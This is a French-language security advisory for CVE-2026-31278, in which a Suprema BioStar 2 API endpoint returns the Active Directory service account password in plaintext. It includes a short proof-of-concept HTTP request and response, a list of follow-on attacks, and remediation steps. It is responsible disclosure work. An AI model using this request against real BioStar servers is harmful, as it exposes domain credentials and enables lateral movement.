CVE-2026-31278 Suprema BioStar 2 : Exposition des identifiants Active Directory

Métadonnées

Résumé

Une vulnérabilité de divulgation d'informations sensibles existe dans Suprema BioStar 2 en raison d'une gestion incorrecte des paramètres d'intégration Active Directory. Le point de terminaison API backend /api/v2/setting/adserversetting renvoie les identifiants du compte de liaison Active Directory en clair, bien que le mot de passe soit masqué dans l'interface d'administration.

Versions affectées

• BioStar 2 Core / AC v2.9.5.29
• BioStar 2 T&A v2.9.5.3

Détails techniques

Bien que le champ mot de passe soit masqué dans l'interface d'administration, les requêtes authentifiées adressées à l'API backend divulguent le mot de passe complet non chiffré ainsi que les paramètres de configuration LDAP, y compris la communication SSL désactivée.

Un attaquant authentifié envoie une requête HTTP GET au point de terminaison de configuration du serveur AD et reçoit le mot de passe du compte de service Active Directory en clair dans la réponse du serveur.

Preuve de concept

Requête :

GET /api/v2/setting/adserversetting HTTP/1.1
Host: <target>
Authorization: Bearer <token>

Réponse :

{
  "ad_server": "ldap://internal.domain.local",
  "bind_dn": "CN=svc_biostar,DC=domain,DC=local",
  "password": "<plaintext_password_returned_here>",
  "ssl_enabled": false
}

Impact

Un attaquant authentifié peut exploiter les identifiants divulgués pour :

• Effectuer une authentification LDAP contre Active Directory
• Énumérer les utilisateurs, groupes et unités d'organisation du domaine
• Effectuer une reconnaissance du réseau interne
• Effectuer un déplacement latéral au sein des systèmes connectés au domaine
• Élever potentiellement ses privilèges selon les permissions du compte de service

Chronologie

CVE-2026-31278 attribué par MITRE | Correctif publié BioStar 2 v2.9.12 / BioStarX v1.0.2 |

Remédiation

• Mettre à jour vers BioStar 2 v2.9.12 ou BioStarX v1.0.2
• Faire pivoter immédiatement tous les identifiants des comptes de service Active Directory
• Restreindre l'accès à l'API aux seuls segments réseau de confiance
• Activer LDAPS (SSL) pour la communication Active Directory

Références

• Suprema Inc. : https://www.supremainc.com

Crédit

Abdullah Alannaz Chercheur en sécurité

Cette vulnérabilité a été divulguée de manière responsable à Suprema. Le fournisseur a confirmé le problème et a coordonné l'attribution du CVE avec MITRE.